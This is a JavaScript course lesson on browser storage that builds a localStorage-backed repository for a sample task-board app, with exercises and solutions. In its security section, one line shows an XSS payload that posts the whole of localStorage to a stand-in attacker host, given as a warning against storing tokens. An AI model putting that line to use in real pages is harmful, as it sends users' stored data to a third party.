You finished Module 6 by pressing F5 and watching all of Marta's work evaporate. It is not a bug in your code: it is that until now Nómada Tasks lived entirely in the memory of a tab, and that memory is destroyed on every reload. In this lesson you give the application its first way of remembering. You will meet every option the browser offers for storing data —cookies, localStorage, sessionStorage, IndexedDB and the Cache API—, master the Web Storage API right down to its awkward corners (it only stores strings, it is synchronous, it has a hard limit and it can fail), and build js/data/local-repository.js, the first real piece of the project's data layer. And at last you will see what that toJSON and that static fromJSON you wrote in 05-03 were for: without them, saving an instance with private fields would silently lose half the data.
Contents
- What "saving" means in the browser
- The five options, compared
- The Web Storage API: the six members
- It only stores strings: why
JSONis not optional toJSONandfromJSON, the round trip- The origin as a boundary
localStorageversussessionStorage- The
storageevent: syncing two tabs - Limits, quota and
QuotaExceededError - It is synchronous: it blocks the thread
- What you must never store
- Versioning the format and migrating
- Nómada Tasks:
js/data/local-repository.js - When 5 MB is not enough: IndexedDB and
localForage - Common Mistakes and Tips
- Exercises
- Conclusion
- What "saving" means in the browser
When a desktop application saves something, it writes a file to disk. A web page cannot do that: if any website could write wherever it liked on your computer, the web would be uninhabitable. What the browser offers instead is a private per-site store, managed by the browser itself, with strict rules about who can read what.
Three ideas to start with:
- The browser owns the store, not your page. It can wipe it when it runs short of space, when the user clears browsing data, or when the site has not been visited for months. Never write code that assumes what you saved is still there.
- All storage is local to one device and one browser. What Marta saves in Chrome she will not see in Firefox, nor on her phone, nor will Iván see it on his laptop. Sharing data between people requires a server, and that is what the next lesson is about.
- Storage is not a database. There are no queries, no indexes, no transactions (except in IndexedDB). It is a box you put things into and take things out of.
With that clear, the Nómada Tasks problem becomes concrete: if at the end of every change I write the board into the store, and at startup I try to read it before falling back to data/backlog.js, the application survives F5.
- The five options, compared
The browser offers five mechanisms with very different purposes. Choosing the wrong one causes half the performance and security problems you see in production.
| Mechanism | Typical capacity | Persistence | Scope | Mode | Does it travel to the server? | What it is for |
|---|---|---|---|---|---|---|
| Cookies | ~4 KB per cookie | Until its Expires/Max-Age |
Origin + path, configurable per domain | Synchronous | Yes, on every request | Server session, identification. With HttpOnly and Secure |
localStorage |
~5-10 MB per origin | Indefinite until deleted | Origin | Synchronous | No | Preferences, drafts, interface state |
sessionStorage |
~5-10 MB per origin | As long as the tab lives | Origin + tab | Synchronous | No | Data for a multi-step wizard, temporary filters |
| IndexedDB | Hundreds of MB or more (depending on quota) | Indefinite | Origin | Asynchronous | No | Lots of data, structured objects, index lookups |
| Cache API | Shares the origin's quota | Indefinite | Origin | Asynchronous | No | Complete HTTP responses so the site works offline |
Four practical consequences of this table:
- Cookies travel on every HTTP request. Storing the board data in a cookie would mean sending that JSON to the server with every image, every stylesheet and every API call. That is why cookies are reserved for small identifiers.
localStorageandsessionStorageare the same API with a different lifetime. Everything you learn about one applies to the other.- IndexedDB is asynchronous, and that is its biggest advantage: it does not block the interface. Its cost is a notoriously uncomfortable API that almost nobody uses raw.
- The Cache API does not store data, it stores responses. It is the service worker's building block, and you will see it in 07-05.
For Nómada Tasks, with six tasks and a handful of preferences, localStorage is exactly the right tool. Starting with IndexedDB would be like building a distribution warehouse to store one shoebox.
- The Web Storage API: the six members
localStorage and sessionStorage are global objects that implement the Storage interface. Their entire surface fits in one table:
| Member | Signature | What it does | If the key does not exist |
|---|---|---|---|
setItem |
setItem(key, value) |
Stores (or overwrites) | — |
getItem |
getItem(key) |
Reads | Returns null |
removeItem |
removeItem(key) |
Deletes one key | Does nothing, does not fail |
clear |
clear() |
Deletes everything in the origin's store | — |
key |
key(index) |
Returns the name of the nth key | Returns null |
length |
property | How many keys are stored | — |
// Store and read
localStorage.setItem('nomada:theme', 'dark');
console.log(localStorage.getItem('nomada:theme')); // 'dark'
// A key that does not exist returns null, NOT undefined
console.log(localStorage.getItem('nomada:language')); // null
// Walk the whole store
console.log(localStorage.length); // 1
for (let i = 0; i < localStorage.length; i += 1) {
const key = localStorage.key(i);
console.log(key, '→', localStorage.getItem(key));
}
localStorage.removeItem('nomada:theme');
// localStorage.clear(); // ✗ careful: wipes the WHOLE originThree details worth pinning down from the start:
- Absence is represented with
null, notundefined. This matters becausenull ?? defaultValueworks, and so doesundefined ?? defaultValue; whereasgetItem(...) || 'x'would betray you if the stored value were the empty string or'0'. Use??or compare explicitly againstnull. clear()wipes the whole origin, not just your part of it. If another page on the same domain stores things, you take them down with you. That is why the project will use a prefix (nomada:) and delete key by key.- There is a property syntax (
localStorage.theme = 'dark') that works, but it is a bad idea: it collides with the method names (localStorage.length = 3does not do what it looks like) and it hides the fact that you are calling an API. Always use the methods.
A naming convention from minute one. Because the store is flat and shared by the whole origin, keys carry a namespace and a version:
- It only stores strings: why
JSON is not optional
JSON is not optionalThis is the limitation that causes the most headaches. Storage only stores text strings. Anything else is converted before being stored, and the conversion is done by String(), with disastrous results:
localStorage.setItem('number', 42);
console.log(localStorage.getItem('number')); // '42' ← string
console.log(typeof localStorage.getItem('number')); // 'string'
console.log(localStorage.getItem('number') + 1); // '421' ← concatenation
localStorage.setItem('active', true);
console.log(localStorage.getItem('active') === true); // false ← it is 'true', the string
localStorage.setItem('tasks', [1, 2, 3]);
console.log(localStorage.getItem('tasks')); // '1,2,3' ← the array is gone
localStorage.setItem('task', { id: 6, title: 'Quote' });
console.log(localStorage.getItem('task')); // '[object Object]' ← total disasterThat last line is the classic failure: the object was converted with its default toString() and the data has disappeared for good. The fix is the one you already know from 04-08:
const task = { id: 6, title: 'Carpentry workshop quote', estimatedHours: 5 };
localStorage.setItem('nomada:task:6', JSON.stringify(task)); // ← when storing
const restored = JSON.parse(localStorage.getItem('nomada:task:6')); // ← when reading
console.log(restored.estimatedHours + 1); // 6 ← a real numberBut JSON.parse throws if the text is corrupt, and in a store the user can edit by hand from DevTools, or that was left half-written by an earlier version of your application, that happens. Bring back safeParse from 04-08:
// js/util/json.js
/** Returns the parsed object, or `fallback` if the text is null or not valid JSON. */
export function safeParse(text, fallback = null) {
if (text === null) return fallback;
try {
return JSON.parse(text);
} catch {
return fallback;
}
}One piece of corrupt data must never bring down the whole application: at worst, it should make it start with the initial backlog.
toJSON and fromJSON, the round trip
toJSON and fromJSON, the round tripThis is where the design from 05-03 pays off. A Task is not a plain object: it has private #status and #hours and getters on the prototype. Without toJSON, JSON.stringify(task) produces an object with fields missing and throws no error at all. With toJSON, the result is complete.
And on the way back the symmetric thing happens: JSON.parse never returns instances. It returns plain objects, without methods and without getters.
import { Task } from '../model/task.js';
const task = new Task({
id: 6, title: 'Carpentry workshop quote', assignee: 'Iván',
priority: 'high', tags: ['carpentry'], estimatedHours: 5,
dueDate: '2026-09-05', reviewer: 'Marta'
});
const text = JSON.stringify(task); // ← uses toJSON(): complete
const plain = JSON.parse(text);
console.log(plain instanceof Task); // false
console.log(plain.isOpen); // undefined ← the getter does not travel
// plain.changeStatus('in-progress'); // ✗ TypeError: not a function
const live = Task.fromJSON(plain); // ← rebuilds AND revalidates
console.log(live instanceof Task); // true
console.log(live.isOpen); // true
console.log(live.daysLeft); // -15The complete cycle, drawn out:
flowchart LR
A["Board<br/>(live instances)"] -->|"JSON.stringify · toJSON()"| B["JSON text"]
B -->|"setItem"| C[("localStorage")]
C -->|"getItem"| D["JSON text"]
D -->|"safeParse · JSON.parse"| E["Plain objects"]
E -->|"Task.fromJSON · new Board"| F["Board<br/>(live instances)"]
Remember what is lost on that trip, which you already inventoried in 04-08: undefined, functions and symbols disappear; Date becomes a string; Map, Set and NaN do not survive; Infinity turns into null. Our model is designed for that: dates are already ISO strings ('2026-09-05'), tags are already an array of strings, and there is not a single Date or Map inside Task. That was no accident.
- The origin as a boundary
Every store belongs to an origin, and an origin is three things together:
If any of the three changes, it is a different store and they cannot see each other:
| URL A | URL B | Same store? | Why |
|---|---|---|---|
https://taller.example/a |
https://taller.example/b/c |
Yes | The path is not part of the origin |
https://taller.example |
http://taller.example |
No | Different protocol |
https://taller.example |
https://app.taller.example |
No | Different domain |
http://localhost:3000 |
http://localhost:8080 |
No | Different port |
https://taller.example |
file:///C:/project/index.html |
No | file:// has its own origin (often opaque) |
Two very practical consequences while you develop:
- Opening
index.htmlby double-clicking it (file://) is not the same as serving it. Besides ES modules failing because of CORS —you saw that in 05-04—, storage behaves inconsistently. Always use a local server (npx serve, the Live Server extension,python3 -m http.server). - Changing port "wipes" your data. It is not wiped: it is in the other origin's store. It is an endless source of scares.
An <iframe> from another origin embedded in your page accesses its own store, not yours. That separation is a security barrier, not a technical detail.
localStorage versus sessionStorage
localStorage versus sessionStorageThey share an API and differ only in how long they last and who can see them:
localStorage |
sessionStorage |
|
|---|---|---|
| Lifetime | Until explicitly deleted | Until the tab is closed |
| Shared between tabs of the same origin | Yes | No: each tab has its own |
| Survives F5 | Yes | Yes |
| Survives closing and reopening the browser | Yes | No |
| Duplicating the tab | — | The copy inherits the contents |
storage event in other tabs |
Yes | No (only between iframes of the same tab) |
The decision rule is straightforward: would the user expect to find it there tomorrow? If so, localStorage. If it is a "right now" thing, sessionStorage.
In Nómada Tasks:
// Persistent: the board and the user's preferences
localStorage.setItem('nomada:board:v1', JSON.stringify(board));
localStorage.setItem('nomada:preferences:v1', JSON.stringify({ theme: 'light', sortBy: 'priority' }));
// Ephemeral: a filter Marta switched on to look at one particular thing
sessionStorage.setItem('nomada:current-filter', JSON.stringify({ assignee: 'Iván' }));If Marta filters by Iván in one tab to review his workload, she will not want to find that filter still applied tomorrow morning without knowing why. That is exactly the case for sessionStorage.
- The
storage event: syncing two tabs
storage event: syncing two tabsMarta works with two tabs open: in one she reviews the whole board and in the other she creates tasks. If she saves in one, the other keeps showing stale data. The browser tells you about it with the storage event:
window.addEventListener('storage', (event) => {
console.log('key:', event.key); // 'nomada:board:v1'
console.log('before:', event.oldValue); // the previous JSON (string or null)
console.log('now:', event.newValue); // the new JSON (string or null)
console.log('source:', event.url); // URL of the tab that changed it
console.log('store:', event.storageArea === localStorage);
});The feature that confuses everybody: storage does NOT fire in the tab that made the change, only in the other tabs of the same origin. It is deliberate —that tab already knows what it did— but it makes the thing look broken when you test it in a single window. Open it in two tabs to see it.
Applied to the project, with the CustomEvents from 06-04 as the bridge:
// js/data/local-repository.js (excerpt)
import { EVENTS, emit } from '../view/events.js';
/** Notifies the application when ANOTHER tab changes the stored board. */
export function listenToOtherTabs(key, onChange, { signal } = {}) {
window.addEventListener('storage', (event) => {
if (event.key !== key) return; // ignore other keys in the origin
if (event.newValue === null) return; // somebody cleared it: you decide what to do
onChange(JSON.parse(event.newValue));
}, { signal });
}// js/app.js
listenToOtherTabs('nomada:board:v1', (data) => {
const updated = Board.importFrom(JSON.stringify(data));
view.update({ board: updated });
emit(document, EVENTS.BOARD_UPDATED, { source: 'other-tab' });
});Notice the { signal }: that is the AbortController that turned up in passing in 06-04 and that you will study in depth in 07-03. It is there so you can disconnect the listener later.
For more ambitious cases there is
BroadcastChannel, an explicit message channel between tabs of the same origin that does not force you to go through storage. Thestorageevent has the advantage of already being where you are saving.
- Limits, quota and
QuotaExceededError
QuotaExceededErrorThe usual limit is around 5 MB per origin for Web Storage (some browsers reach 10 MB). It sounds like a lot until you store histories or base64 images. And there is a detail that doubles the consumption: strings are stored in UTF-16, so each character takes roughly 2 bytes.
When you go over, setItem throws an exception:
try {
localStorage.setItem('nomada:board:v1', hugeText);
} catch (error) {
// The modern standard name; old browsers use other codes
if (error.name === 'QuotaExceededError') {
console.warn('There is no space left in local storage.');
} else {
throw error; // do not swallow errors you were not expecting
}
}There is a second cause of failure that catches people out: in private / incognito mode, some browsers give a quota of zero or close the store off. When browsing with cookies blocked entirely, even accessing localStorage can throw SecurityError. That is why the availability check is done like this:
/** Can we actually write to this store? */
export function storageAvailable(type = 'localStorage') {
try {
const store = window[type];
const probe = '__probe__';
store.setItem(probe, probe); // really write, not just check that it exists
store.removeItem(probe);
return true;
} catch {
return false;
}
}if ('localStorage' in window) is not enough: the object can exist and still fail when writing. You have to try to write.
And what do you do if it is not available? Never break. Degrade:
/** In-memory fallback: same API, but it only lasts as long as the page. */
function inMemoryStore() {
const map = new Map();
return {
getItem: (k) => (map.has(k) ? map.get(k) : null),
setItem: (k, v) => map.set(k, String(v)),
removeItem: (k) => map.delete(k)
};
}
const store = storageAvailable() ? window.localStorage : inMemoryStore();The application keeps working exactly the same; it simply does not remember anything between reloads. That is progressive enhancement: persistence is an enhancement, not a requirement for starting up.
To find out how much space is really available there is the modern Storage API:
if (navigator.storage?.estimate) {
const { usage, quota } = await navigator.storage.estimate();
console.log(`Used ${(usage / 1048576).toFixed(2)} MB out of ${(quota / 1048576).toFixed(0)} MB`);
}
- It is synchronous: it blocks the thread
This is where it connects with the event loop from 05-07. localStorage.setItem is a synchronous, blocking operation: while it is writing, the main thread runs nothing else. It does not paint, it does not respond to clicks, it does not process microtasks.
With six tasks it is imperceptible. With a multi-megabyte JSON saved on every keystroke, the interface freezes visibly.
// ✗ Saving on every key: writes dozens of times per second
searchField.addEventListener('input', () => {
localStorage.setItem('nomada:board:v1', JSON.stringify(board)); // repeated blocking
});
// ✓ Damped with the debounce from 03-04 / 06-07
import { debounce } from '../util/time.js';
const debouncedSave = debounce(() => repository.save(board), 500);
searchField.addEventListener('input', debouncedSave);Two rules of hygiene:
- Save when a change finishes, not while it is happening. A completed
submit, a status change, a deletion: those are moments to save. Every keystroke is not. - Serialize once.
JSON.stringifyof a big board costs something too. Do not call it inside a loop.
If you find yourself needing to write a lot and often, the answer is not to optimize localStorage: it is to switch to IndexedDB, which is asynchronous by design.
- What you must never store
localStorage is accessible from any JavaScript that runs on your page. Any: your code, the charting library you installed, the analytics script, and also the code an attacker manages to inject through XSS (the same XSS you studied in 06-02 with innerHTML). A single line is enough to take it all:
// What an XSS would run on your page, if there were anything worth stealing
fetch('https://attacker.example/steal', { method: 'POST', body: JSON.stringify(localStorage) });| Do not store | Why | Where it belongs |
|---|---|---|
| Session tokens, JWTs, API keys | An XSS steals them and impersonates the user; they do not expire on their own | HttpOnly + Secure + SameSite cookie, managed by the server |
| Passwords (in the clear or encrypted on the client) | The decryption key would sit right next to the data | Nowhere on the client |
| Personally identifiable data without a legal basis | The browser encrypts nothing; the device may be shared | Server, with a privacy review |
| Health, financial or minors' data | Specially protected categories | Never on the client without legal advice |
| Data other users should not see | A shared computer exposes it to the next user | Server with access control |
Three warnings you need to internalize:
localStorageis not encrypted. It is visible in plain text in DevTools → Application → Local Storage, and on disk.- It does not expire on its own. A cookie expires; a
localStoragekey is still there two years from now if nobody deletes it. - Real personal data demands a legal review. In a real project, storing names, email addresses, postal addresses or any data that identifies a person in the browser falls within the scope of the GDPR and of your organization's internal policies. It must go through legal and compliance review before a single line is written, and it must be documented what is stored, why and for how long. In this course the Taller Nómada team —Marta, Iván and Lucía— is fictional, and we store only a first name as an assignment label; in your company, that same decision is not yours to make alone.
- Versioning the format and migrating
The day you change the model —add a field, rename another— the stored data will be in the old format. If your code assumes the new one, the application breaks precisely for your most loyal users, who are the ones with data.
The fix is for the stored data to say what format it is in. That is why the toJSON of Board you wrote in 05-03 already included version: 1, and why the key is called nomada:board:v1.
const CURRENT_VERSION = 2;
/** Brings a stored object up from any earlier version to the current one. */
function migrate(data) {
let current = data;
if (current.version === 1) {
current = {
...current,
version: 2,
tasks: current.tasks.map((t) => ({ ...t, reviewer: t.reviewer ?? null })) // new field
};
}
// if (current.version === 2) { … future migration to 3 … }
if (current.version !== CURRENT_VERSION) {
throw new DataError(`I do not know how to migrate version ${current.version}.`);
}
return current;
}Three rules of versioning:
- Chained migrations, not jumps. From 1 to 2, from 2 to 3. That way you write each step only once, even if the user is coming from a long way back.
- Never migrate destructively. Write the migrated result only when the migration has finished cleanly.
- If you do not know how to migrate, discard gracefully. Better to start with the initial backlog and say so than to start broken.
- Nómada Tasks:
js/data/local-repository.js
js/data/local-repository.jsNow we put it all together in the first real piece of the js/data/ folder. The module has a single responsibility: translating between the live board and the text store. It knows nothing about the DOM or about business rules.
// js/data/local-repository.js
import { Board } from '../model/board.js';
import { DataError } from '../model/errors.js';
const KEY = 'nomada:board:v1';
const CURRENT_VERSION = 1;
/** Can we actually write to localStorage? (private mode, blocked cookies…) */
function storageAvailable() {
try {
const probe = '__nomada_probe__';
localStorage.setItem(probe, '1');
localStorage.removeItem(probe);
return true;
} catch {
return false;
}
}
/** Silent fallback: same interface, no real persistence. */
function inMemoryStore() {
const map = new Map();
return {
getItem: (k) => (map.has(k) ? map.get(k) : null),
setItem: (k, v) => { map.set(k, String(v)); },
removeItem: (k) => { map.delete(k); }
};
}
export class LocalRepository {
#store;
#key;
#persistent;
constructor({ key = KEY, store } = {}) {
this.#key = key;
this.#persistent = storageAvailable();
this.#store = store ?? (this.#persistent ? window.localStorage : inMemoryStore());
}
/** true if the data will survive a reload. The view can warn if it is false. */
get persistent() {
return this.#persistent;
}
/**
* Writes the board. Returns true if it was saved, false if there was no space.
* Does not throw when out of quota: losing persistence must not bring the application down.
*/
save(board) {
try {
this.#store.setItem(this.#key, JSON.stringify(board)); // uses toJSON() of Board and of each Task
return true;
} catch (error) {
if (error.name === 'QuotaExceededError') {
console.warn('[nomada] No space left in local storage; changes will not be saved.');
return false;
}
throw error;
}
}
/**
* Reads the stored board.
* Returns null if there is nothing or if what is stored is unusable: the caller decides the fallback.
*/
load() {
const text = this.#store.getItem(this.#key);
if (text === null) return null;
let data;
try {
data = JSON.parse(text);
} catch {
console.warn('[nomada] Corrupt data in the store; discarding it.');
this.clear();
return null;
}
if (data?.version !== CURRENT_VERSION) {
console.warn(`[nomada] Unknown version (${data?.version}); discarding it.`);
this.clear();
return null;
}
try {
return Board.importFrom(JSON.stringify(data)); // rebuilds instances AND revalidates R1-R10
} catch (error) {
if (error instanceof DataError) {
console.warn('[nomada] The stored board does not pass validation:', error.message);
this.clear();
return null;
}
throw error;
}
}
/** Deletes ONLY our key. Never localStorage.clear(). */
clear() {
this.#store.removeItem(this.#key);
}
}Four design decisions worth a comment:
load()returnsnull, it does not throw. "There is nothing stored" is a normal situation, not an error. The caller decides what to do, and what it does is fall back to the initial backlog.- Any unusable data is discarded and cleared. Losing corrupt data is preferable to dragging it along: the user sees an initial board, not a blank screen.
Board.importFromrevalidates. Because it rebuildsTaskinstances, all the rules R1-R10 are checked again. If somebody edited the JSON by hand in DevTools and setestimatedHours: 500, theValidationErrorfires and the data is discarded. Never trust what comes out of the store.- The constructor accepts a
store. That way you will be able to pass it a double in Module 8 and test the repository without a browser.
And the integration in the entry point:
// js/app.js
import { Board } from './model/board.js';
import { createBacklog } from './data/backlog.js';
import { LocalRepository } from './data/local-repository.js';
import { BoardView } from './view/board-view.js';
import { EVENTS } from './view/events.js';
import { debounce } from './util/time.js';
import { TODAY } from './util/dates.js';
import { $ } from './view/dom.js';
const repository = new LocalRepository();
// 1 · What is stored wins; if there is nothing, the initial backlog
const board = repository.load() ?? new Board('Taller Nómada', createBacklog());
const view = new BoardView({ container: $('.board'), summary: $('#summary'), board, today: TODAY });
view.render();
// 2 · Save when something changes, damped so as not to block the thread
const save = debounce(() => repository.save(board), 300);
document.addEventListener(EVENTS.TASK_CHANGED, save);
document.addEventListener(EVENTS.TASK_CREATED, save);
// 3 · Another of the team's tabs changed the data
window.addEventListener('storage', (event) => {
if (event.key !== 'nomada:board:v1') return;
const reloaded = repository.load();
if (reloaded !== null) view.update({ board: reloaded });
});
// 4 · If there is no persistence, say so instead of lying
if (!repository.persistent) {
$('#notice').textContent = 'No-save mode: changes will be lost when you close the page.';
$('#notice').hidden = false;
}Save, reload with F5 and check: the board comes back exactly as you left it. Marta can close her laptop.
Notice point 2: the application does not call save from the controller or from the view. It listens to the CustomEvents you were already emitting in 06-04. Persistence has been added without touching a line of the model or of the views, which is exactly what a layered architecture promises.
- When 5 MB is not enough: IndexedDB and
localForage
localForageIf Nómada Tasks grew to storing attachments, a complete change history or thousands of tasks, localStorage would fall short for two reasons at once: the quota and the thread blocking. The next step up is IndexedDB: a transactional, object-oriented database, with indexes and asynchronous.
// Raw IndexedDB: powerful, but verbose and event-based rather than promise-based
const request = indexedDB.open('nomada', 1);
request.onupgradeneeded = (event) => {
const db = event.target.result;
const store = db.createObjectStore('tasks', { keyPath: 'id' });
store.createIndex('by-assignee', 'assignee', { unique: false });
};
request.onsuccess = (event) => {
const db = event.target.result;
const tx = db.transaction('tasks', 'readwrite');
tx.objectStore('tasks').put({ id: 6, title: 'Carpentry workshop quote' });
tx.oncomplete = () => console.log('saved');
};That style with onsuccess/onupgradeneeded predates promises and clashes with everything you learned in 05-06. That is why almost nobody uses IndexedDB directly. Two common wrappers:
| Option | Idea | When to choose it |
|---|---|---|
localForage |
Offers the localStorage API (getItem/setItem) but with promises, on top of IndexedDB, falling back to Web Storage if needed |
Migrating away from localStorage without changing the design |
idb |
Wraps IndexedDB in promises while keeping its whole model (transactions, indexes, cursors) | You need real queries and indexes |
// With localForage the repository barely changes… except that it is now asynchronous
import localforage from 'localforage';
async save(board) {
await localforage.setItem('nomada:board', board.toJSON()); // accepts objects, no stringify
}Notice the important detail: IndexedDB (and therefore localForage) uses the structured clone algorithm, the same one behind structuredClone from 04-08. That means it accepts objects, Date, Map and Set without serializing to text… but it does not accept instances with private fields, so you still need toJSON() when storing and fromJSON when reading. The pattern you have learned still holds.
Practical rule: start with localStorage. Move to IndexedDB when you measure that you need it, not before. Nómada Tasks does not need it.
Common Mistakes and Tips
- Storing an object without
JSON.stringify. The result is'[object Object]'and the data is lost with no error whatsoever. If you see that string when reading, you know what happened. - Forgetting
JSON.parsewhen reading.getItemalways returns a string.data.tasks.lengthon a string givesundefinedor the number of characters, and the confusion lasts for hours. - Confusing
nullwithundefined.getItemon a non-existent key returnsnull. Check with=== nullor use??. - Using
||for the default value.Number(localStorage.getItem('pages')) || 10turns a legitimately stored0into10. Use??on the already-parsed value. - Calling
localStorage.clear(). It wipes the whole origin, including data from other pages on the same domain. Delete your keys one by one, and that is why you prefix them. - Trusting the data you read. The user can edit it in DevTools. Always validate when rebuilding; that is what
Board.importFromrevalidating is for. - Not wrapping
setItemintry/catch. A full quota or private mode makes it throw, and a failure to save must not bring the interface down. - Saving on every keystroke. It is synchronous and it blocks. Damp it with
debounceand save when operations close. - Storing session tokens. It is the most widespread bad practice and the most expensive one: it turns any XSS into account theft.
- Testing the
storageevent in a single tab. It does not fire in the tab that made the change. Open two. - Tip: use prefixes and a version in your keys (
nomada:board:v1). It lets you list what is yours, delete what is yours and migrate formats without guessing. - Tip: inspect the store in DevTools → Application tab → Local Storage. You can view, edit and delete keys by hand; it is the fastest way to reproduce a piece of corrupt data.
- Tip: store data, not interface. Store the board, not the generated HTML. HTML gets rebuilt; data does not.
Exercises
Exercise 1 — Preferences with sessionStorage and localStorage.
Write a module js/data/preferences.js that exports readPreferences() and savePreference(key, value). The preferences are { theme: 'light' | 'dark', sortBy: 'priority' | 'date', compactColumns: boolean }, they are stored in localStorage under 'nomada:preferences:v1' and they must have default values if there is nothing stored or if the JSON is corrupt. Add saveTemporaryFilter(filter) and readTemporaryFilter() using sessionStorage. Careful with boolean preferences: false is a legitimate value.
Exercise 2 — Detecting and surviving a full quota.
Write a function probeQuota() that writes ever bigger strings into localStorage under the key '__quota__' until QuotaExceededError fires, reports to the console roughly how many KB the browser accepted and leaves the store clean whatever happens. Then use that information to write saveWithRetry(repository, board, history): if save returns false, trim history in half and try again, up to a maximum of three attempts.
Exercise 3 — Migration from version 1 to version 2.
The model changes: tasks now have a new field blockedBy (array of ids, [] by default) and the field reviewer is renamed to reviewedBy. Write migrate(data) that accepts an object stored with version: 1 and returns a correct one with version: 2, and modify LocalRepository.load() so that it applies the migration, stores the migrated result and only then builds the board. If the version is unknown, it must be discarded as before.
Solutions
Solution 1
// js/data/preferences.js
const PREFS_KEY = 'nomada:preferences:v1';
const FILTER_KEY = 'nomada:current-filter';
const DEFAULTS = Object.freeze({ theme: 'light', sortBy: 'priority', compactColumns: false });
function safeParse(text, fallback) {
if (text === null) return fallback;
try {
const value = JSON.parse(text);
return (value !== null && typeof value === 'object') ? value : fallback;
} catch {
return fallback;
}
}
export function readPreferences() {
const stored = safeParse(localStorage.getItem(PREFS_KEY), {});
// The spread applies the defaults ONLY to missing keys: a stored false is respected
return { ...DEFAULTS, ...stored };
}
export function savePreference(key, value) {
if (!(key in DEFAULTS)) throw new Error(`Unknown preference: ${key}`);
const current = readPreferences();
const updated = { ...current, [key]: value }; // immutable update (04-07)
try {
localStorage.setItem(PREFS_KEY, JSON.stringify(updated));
} catch {
console.warn('[nomada] The preference could not be saved.');
}
return updated;
}
export function saveTemporaryFilter(filter) {
sessionStorage.setItem(FILTER_KEY, JSON.stringify(filter));
}
export function readTemporaryFilter() {
return safeParse(sessionStorage.getItem(FILTER_KEY), { assignee: null, text: '' });
}The key is { ...DEFAULTS, ...stored }: the spread from 04-07 fills in only what is missing. If you had written stored.compactColumns || DEFAULTS.compactColumns, a stored false would become false by coincidence… but a 0 or an empty string in another preference would be lost. The spread does not have that problem because it distinguishes absent from falsy.
Solution 2
export function probeQuota() {
const KEY = '__quota__';
const block = 'x'.repeat(1024); // 1 KiB of characters (≈2 KB in UTF-16)
let accumulated = '';
let kb = 0;
try {
// Deliberately infinite loop: it exits through the exception
for (;;) {
accumulated += block;
localStorage.setItem(KEY, accumulated);
kb += 1;
}
} catch (error) {
if (error.name !== 'QuotaExceededError' && error.name !== 'SecurityError') throw error;
console.log(`Approximate quota: ${kb} KB of characters (~${(kb * 2 / 1024).toFixed(1)} MB in reality)`);
return kb;
} finally {
localStorage.removeItem(KEY); // ← runs whatever happens (02-05)
}
}
export function saveWithRetry(repository, board, history) {
let trimmed = [...history];
for (let attempt = 1; attempt <= 3; attempt += 1) {
if (repository.save(board)) {
return { saved: true, attempts: attempt, history: trimmed };
}
trimmed = trimmed.slice(Math.ceil(trimmed.length / 2)); // keeps the most recent part
console.warn(`[nomada] Retry ${attempt}: history trimmed to ${trimmed.length} entries.`);
}
return { saved: false, attempts: 3, history: trimmed };
}The finally is essential: without it, a failure would leave megabytes of rubbish taking up the user's quota. And notice that slicing from the middle keeps the end of the history, which is the recent part and therefore the valuable one.
Solution 3
const CURRENT_VERSION = 2;
export function migrate(data) {
let current = data;
if (current.version === 1) {
current = {
version: 2,
name: current.name,
tasks: current.tasks.map(({ reviewer, ...rest }) => ({
...rest,
reviewedBy: reviewer ?? null, // renamed
blockedBy: [] // new field with its default value
}))
};
}
if (current.version !== CURRENT_VERSION) {
throw new DataError(`I do not know how to migrate version ${current.version}.`);
}
return current;
}// inside LocalRepository.load(), after the JSON.parse
let migrated;
try {
migrated = migrate(data);
} catch (error) {
console.warn('[nomada]', error.message);
this.clear();
return null;
}
if (migrated !== data) {
this.#store.setItem(this.#key, JSON.stringify(migrated)); // consolidate the migration
}
return Board.importFrom(JSON.stringify(migrated));Two details: the destructuring ({ reviewer, ...rest }) from 04-07 removes the old property at the same time as it captures its value, which is the idiomatic way of renaming a field; and the migration is only written to the store if something actually changed, so as not to rewrite on every startup.
Conclusion
Nómada Tasks remembers now. You know that the browser offers five stores with different purposes —cookies for what has to travel to the server, localStorage and sessionStorage for small synchronous data, IndexedDB for volume and structure, the Cache API for HTTP responses— and you can justify why the project uses localStorage. You have mastered the six members of the Web Storage API, and you have it engraved that it only stores strings: hence JSON.stringify and JSON.parse being compulsory, safeParse protecting you from corrupt data, and the toJSON and static fromJSON you wrote in 05-03 turning out to be exactly the missing piece —without them, the private fields #status and #hours would have been silently lost, and on the way back you would have plain objects with no methods and no getters.
You know that the origin (protocol, domain and port) is the boundary of the store, and why changing port seems to wipe your data. You know how to choose between indefinite persistence and tab lifetime with one simple question, how to sync two open tabs with the storage event —which never fires in the tab that made the change— and how to plug that sync into the CustomEvents from 06-04 without touching the view. And you know the three ways this fails in production: the quota of about 5 MB with its QuotaExceededError, private mode where merely accessing can throw SecurityError —hence the check that really tries to write and the in-memory fallback—, and the fact that it is synchronous and blocks the thread, which links straight back to the event loop from 05-07 and forces you to damp with debounce. Above all the technical detail stands the warning you must not forget: localStorage is not encrypted, it does not expire and any XSS reads the whole of it, so no tokens, no passwords and no personal data without a legal basis and without a compliance review.
And you have the first piece of the data layer: js/data/local-repository.js, with save(board), load() and clear(), which discards what is corrupt, revalidates with Board.importFrom because you never trust what comes out of the store, versions the format with nomada:board:v1 and knows how to migrate. The application starts from what is stored, falls back to the initial backlog if there is nothing, and saves by listening to the events it was already emitting. The model has not changed a single line.
But local persistence only solves half the problem posed at the end of Module 6. Marta no longer loses her work on reload… and she is still the only one who sees it. Iván has his own localStorage on his laptop, with his own copy of the board, and Lucía a different one on hers. Three parallel truths that never meet. For the board to be the same one for the whole team you need data that lives outside the browser, on a server, and a way of talking to it without reloading the page. That is exactly what the next lesson brings: The Fetch API and AJAX, where the js/data/local-repository.js you have just written will get a sibling, js/data/tasks-api.js, and where you will finally replace those readSimulatedBacklog() and saveSimulatedReport() functions from 05-06 —the ones that faked latency with setTimeout— with real requests.
JavaScript Course: From Beginner to Advanced
Module 1: Introduction to JavaScript
- What Is JavaScript?
- Setting Up Your Development Environment
- Your First JavaScript Program
- JavaScript Syntax and Basic Concepts
- Variables and Data Types
- Basic Operators
- Type Conversion and Comparisons
- The Course Project: Nómada Tasks
Module 2: Control Structures
- Conditional Statements
- Loops: for, while, do-while
- Switch Statements
- Flow Control: break, continue and Nested Loops
- Error Handling with try-catch
Module 3: Functions
- Defining and Calling Functions
- Function Expressions and Arrow Functions
- Parameters and Return Values
- Scope and Closures
- Hoisting and the Execution Context
- Higher-Order Functions
- Recursion
Module 4: Objects and Arrays
- Introduction to Objects
- Object Methods and the
thisKeyword - Arrays: Basics and Methods
- Iterating over Arrays
- Searching, Sorting and Aggregating Data: find, sort and reduce
- Array Destructuring
